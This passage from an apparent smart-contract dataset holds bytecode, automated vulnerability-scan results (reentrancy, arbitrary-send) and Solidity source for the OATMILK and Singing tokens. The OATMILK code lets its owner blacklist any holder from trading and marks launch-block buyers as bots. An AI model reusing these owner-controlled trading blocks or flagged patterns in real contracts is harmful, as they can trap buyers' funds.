25260208201905092915050565b600061303c82613184565b915061304783613184565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561307c5761307b61325a565b5b828201905092915050565b600061309282613184565b915061309d83613184565b9250826130ad576130ac613289565b5b828204905092915050565b60006130c382613184565b91506130ce83613184565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131075761310661325a565b5b828202905092915050565b600061311d82613184565b915061312883613184565b92508282101561313b5761313a61325a565b5b828203905092915050565b600061315182613164565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131a682613184565b9050919050565b60005b838110156131cb5780820151818401526020810190506131b0565b838111156131da576000848401525b50505050565b6131e98261332a565b810181811067ffffffffffffffff82111715613208576132076132e7565b5b80604052505050565b600061321c82613184565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561324f5761324e61325a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361181613146565b811461361c57600080fd5b50565b61362881613158565b811461363357600080fd5b50565b61363f81613184565b811461364a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a38f2c5f5359d3ef3a24632a78a02218a5b1dfe473a69aa46ba5ac87f4b0d74964736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,782 |
0xb6ded80abd0edd98def8dd34338b8f1a3324846d
|
/**
OatMilk
Telegram: https://t.me/OatmilkEth
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract OATMILK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Oat Milk";
string private constant _symbol = "OATMILK";
uint private constant _decimals = 9;
uint256 private _teamFee = 15;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(3).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (2 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setSnipper(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f2578063cf0848f714610407578063cf9d4afa14610427578063dd62ed3e14610447578063e6ec64ec1461048d578063f2fde38b146104ad57600080fd5b8063715018a6146103255780638da5cb5b1461033a57806390d49b9d1461036257806395d89b411461038257806399468008146103b2578063a9059cbb146103d257600080fd5b806331c2d8471161010857806331c2d8471461023e5780633bbac5791461025e578063437823ec14610297578063476343ee146102b75780635342acb4146102cc57806370a082311461030557600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b557806318160ddd146101e557806323b872dd1461020a578063313ce5671461022a57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104cd565b005b34801561017e57600080fd5b506040805180820190915260088152674f6174204d696c6b60c01b60208201525b6040516101ac91906118ea565b60405180910390f35b3480156101c157600080fd5b506101d56101d0366004611964565b610519565b60405190151581526020016101ac565b3480156101f157600080fd5b50678ac7230489e800005b6040519081526020016101ac565b34801561021657600080fd5b506101d5610225366004611990565b610530565b34801561023657600080fd5b5060096101fc565b34801561024a57600080fd5b506101706102593660046119e7565b610599565b34801561026a57600080fd5b506101d5610279366004611aac565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a357600080fd5b506101706102b2366004611aac565b61062f565b3480156102c357600080fd5b5061017061067d565b3480156102d857600080fd5b506101d56102e7366004611aac565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031157600080fd5b506101fc610320366004611aac565b6106b7565b34801561033157600080fd5b506101706106d9565b34801561034657600080fd5b506000546040516001600160a01b0390911681526020016101ac565b34801561036e57600080fd5b5061017061037d366004611aac565b61070f565b34801561038e57600080fd5b506040805180820190915260078152664f41544d494c4b60c81b602082015261019f565b3480156103be57600080fd5b506101706103cd3660046119e7565b610789565b3480156103de57600080fd5b506101d56103ed366004611964565b6108a2565b3480156103fe57600080fd5b506101706108af565b34801561041357600080fd5b50610170610422366004611aac565b610966565b34801561043357600080fd5b50610170610442366004611aac565b6109b1565b34801561045357600080fd5b506101fc610462366004611ac9565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049957600080fd5b506101706104a8366004611b02565b610c0c565b3480156104b957600080fd5b506101706104c8366004611aac565b610c82565b6000546001600160a01b031633146105005760405162461bcd60e51b81526004016104f790611b1b565b60405180910390fd5b600061050b306106b7565b905061051681610d1a565b50565b6000610526338484610e94565b5060015b92915050565b600061053d848484610fb8565b61058f843361058a85604051806060016040528060288152602001611c96602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113d3565b610e94565b5060019392505050565b6000546001600160a01b031633146105c35760405162461bcd60e51b81526004016104f790611b1b565b60005b815181101561062b576000600560008484815181106105e7576105e7611b50565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062381611b7c565b9150506105c6565b5050565b6000546001600160a01b031633146106595760405162461bcd60e51b81526004016104f790611b1b565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062b573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052a9061140d565b6000546001600160a01b031633146107035760405162461bcd60e51b81526004016104f790611b1b565b61070d6000611491565b565b6000546001600160a01b031633146107395760405162461bcd60e51b81526004016104f790611b1b565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b031633146107b35760405162461bcd60e51b81526004016104f790611b1b565b60005b815181101561062b57600c5482516001600160a01b03909116908390839081106107e2576107e2611b50565b60200260200101516001600160a01b0316141580156108335750600b5482516001600160a01b039091169083908390811061081f5761081f611b50565b60200260200101516001600160a01b031614155b156108905760016005600084848151811061085057610850611b50565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061089a81611b7c565b9150506107b6565b6000610526338484610fb8565b6000546001600160a01b031633146108d95760405162461bcd60e51b81526004016104f790611b1b565b600c54600160a01b900460ff1661093d5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f7565b600c805460ff60b81b1916600160b81b17905542600d819055610961906078611b97565b600e55565b6000546001600160a01b031633146109905760405162461bcd60e51b81526004016104f790611b1b565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109db5760405162461bcd60e51b81526004016104f790611b1b565b600c54600160a01b900460ff1615610a435760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f7565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abe9190611baf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2f9190611baf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba09190611baf565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c365760405162461bcd60e51b81526004016104f790611b1b565b600f811115610c7d5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104f7565b600855565b6000546001600160a01b03163314610cac5760405162461bcd60e51b81526004016104f790611b1b565b6001600160a01b038116610d115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f7565b61051681611491565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6257610d62611b50565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddf9190611baf565b81600181518110610df257610df2611b50565b6001600160a01b039283166020918202929092010152600b54610e189130911684610e94565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e51908590600090869030904290600401611bcc565b600060405180830381600087803b158015610e6b57600080fd5b505af1158015610e7f573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f7565b6001600160a01b038216610f575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f7565b6001600160a01b03821661107e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f7565b600081116110e05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f7565b6001600160a01b03831660009081526005602052604090205460ff16156111885760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f7565b6001600160a01b03831660009081526004602052604081205460ff161580156111ca57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e05750600c54600160a81b900460ff16155b80156112105750600c546001600160a01b03858116911614806112105750600c546001600160a01b038481169116145b156113c157600c54600160b81b900460ff1661126e5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f7565b50600c546001906001600160a01b03858116911614801561129d5750600b546001600160a01b03848116911614155b80156112aa575042600e54115b156112f15760006112ba846106b7565b90506112da60646112d4678ac7230489e8000060036114e1565b90611560565b6112e484836115a2565b11156112ef57600080fd5b505b600d5442141561131f576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132a306106b7565b600c54909150600160b01b900460ff161580156113555750600c546001600160a01b03868116911614155b156113bf5780156113bf57600c54611389906064906112d490600f90611383906001600160a01b03166106b7565b906114e1565b8111156113b657600c546113b3906064906112d490600f90611383906001600160a01b03166106b7565b90505b6113bf81610d1a565b505b6113cd84848484611601565b50505050565b600081848411156113f75760405162461bcd60e51b81526004016104f791906118ea565b5060006114048486611c3d565b95945050505050565b60006006548211156114745760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f7565b600061147e611704565b905061148a8382611560565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114f05750600061052a565b60006114fc8385611c54565b9050826115098583611c73565b1461148a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f7565b600061148a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611727565b6000806115af8385611b97565b90508381101561148a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f7565b808061160f5761160f611755565b60008060008061161e87611771565b6001600160a01b038d166000908152600160205260409020549397509195509350915061164b90856117b8565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461167a90846115a2565b6001600160a01b03891660009081526001602052604090205561169c816117fa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e191815260200190565b60405180910390a350505050806116fd576116fd600954600855565b5050505050565b6000806000611711611844565b90925090506117208282611560565b9250505090565b600081836117485760405162461bcd60e51b81526004016104f791906118ea565b5060006114048486611c73565b60006008541161176457600080fd5b6008805460095560009055565b60008060008060008061178687600854611884565b915091506000611794611704565b90506000806117a48a85856118b1565b909b909a5094985092965092945050505050565b600061148a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d3565b6000611804611704565b9050600061181283836114e1565b3060009081526001602052604090205490915061182f90826115a2565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061185f8282611560565b82101561187b57505060065492678ac7230489e8000092509050565b90939092509050565b6000808061189760646112d487876114e1565b905060006118a586836117b8565b96919550909350505050565b600080806118bf86856114e1565b905060006118cd86866114e1565b905060006118db83836117b8565b92989297509195505050505050565b600060208083528351808285015260005b81811015611917578581018301518582016040015282016118fb565b81811115611929576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051657600080fd5b803561195f8161193f565b919050565b6000806040838503121561197757600080fd5b82356119828161193f565b946020939093013593505050565b6000806000606084860312156119a557600080fd5b83356119b08161193f565b925060208401356119c08161193f565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119fa57600080fd5b823567ffffffffffffffff80821115611a1257600080fd5b818501915085601f830112611a2657600080fd5b813581811115611a3857611a386119d1565b8060051b604051601f19603f83011681018181108582111715611a5d57611a5d6119d1565b604052918252848201925083810185019188831115611a7b57600080fd5b938501935b82851015611aa057611a9185611954565b84529385019392850192611a80565b98975050505050505050565b600060208284031215611abe57600080fd5b813561148a8161193f565b60008060408385031215611adc57600080fd5b8235611ae78161193f565b91506020830135611af78161193f565b809150509250929050565b600060208284031215611b1457600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b9057611b90611b66565b5060010190565b60008219821115611baa57611baa611b66565b500190565b600060208284031215611bc157600080fd5b815161148a8161193f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c1c5784516001600160a01b031683529383019391830191600101611bf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c4f57611c4f611b66565b500390565b6000816000190483118215151615611c6e57611c6e611b66565b500290565b600082611c9057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e852883c76cc1e52c3cda5a25303450388b9611c0e3d7f60bb13c08b870cf33964736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,783 |
0x151df1f9344009fc3ecdff8997bb51d86cf02817
|
/**
*Submitted for verification at Etherscan.io on 2021-05-23
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
contract Singing {
mapping (address => uint256) internal _rOwned;
mapping (address => uint256) internal _tOwned;
mapping (address => mapping (address => uint256)) public allowance;
mapping(address => bool) public isTaxedAsSender;
mapping(address => bool) public isTaxedAsRecipient;
mapping (address => bool) public isExcluded;
address[] internal _excluded;
string public constant name = "Singing";
string public constant symbol = "SING";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 1_000_000_000 * (10 ** decimals);
uint256 internal _rTotal = (type(uint256).max - (type(uint256).max % totalSupply));
uint256 internal _tFeeTotal;
uint256 constant internal _reflectBasisPoints = 5000; // 0.01% = 1 basis point, 4.00% = 400 basis points
uint256 internal reflectDisabledBlock;
address public owner;
address public pendingOwner;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed account, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);
constructor () {
owner = msg.sender;
_rOwned[msg.sender] = _rTotal;
emit Transfer(address(0), msg.sender, totalSupply);
}
modifier isOwner() {
require(msg.sender == owner, "NOT_OWNER");
_;
}
function balanceOf(address account) external view returns (uint256) {
return isExcluded[account] ? _tOwned[account] : tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, allowance[sender][msg.sender] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowance[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowance[msg.sender][spender] - subtractedValue);
return true;
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) external {
require(!isExcluded[msg.sender], "IS_EXCLUDED");
(uint256 rAmount,,,,) = _getValues(address(0), address(0), tAmount);
_rOwned[msg.sender] -= rAmount;
_rTotal -= rAmount;
_tFeeTotal += tAmount;
}
function reflectionFromToken(address sender, address recipient, uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= totalSupply, "AMOUNT_>_SUPPLY");
(uint256 rAmount,uint256 rTransferAmount,,,) = _getValues(sender, recipient, tAmount);
return deductTransferFee ? rTransferAmount : rAmount;
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, "AMOUNT_>_TOTAL_REFLECTIONS");
return rAmount / _getRate();
}
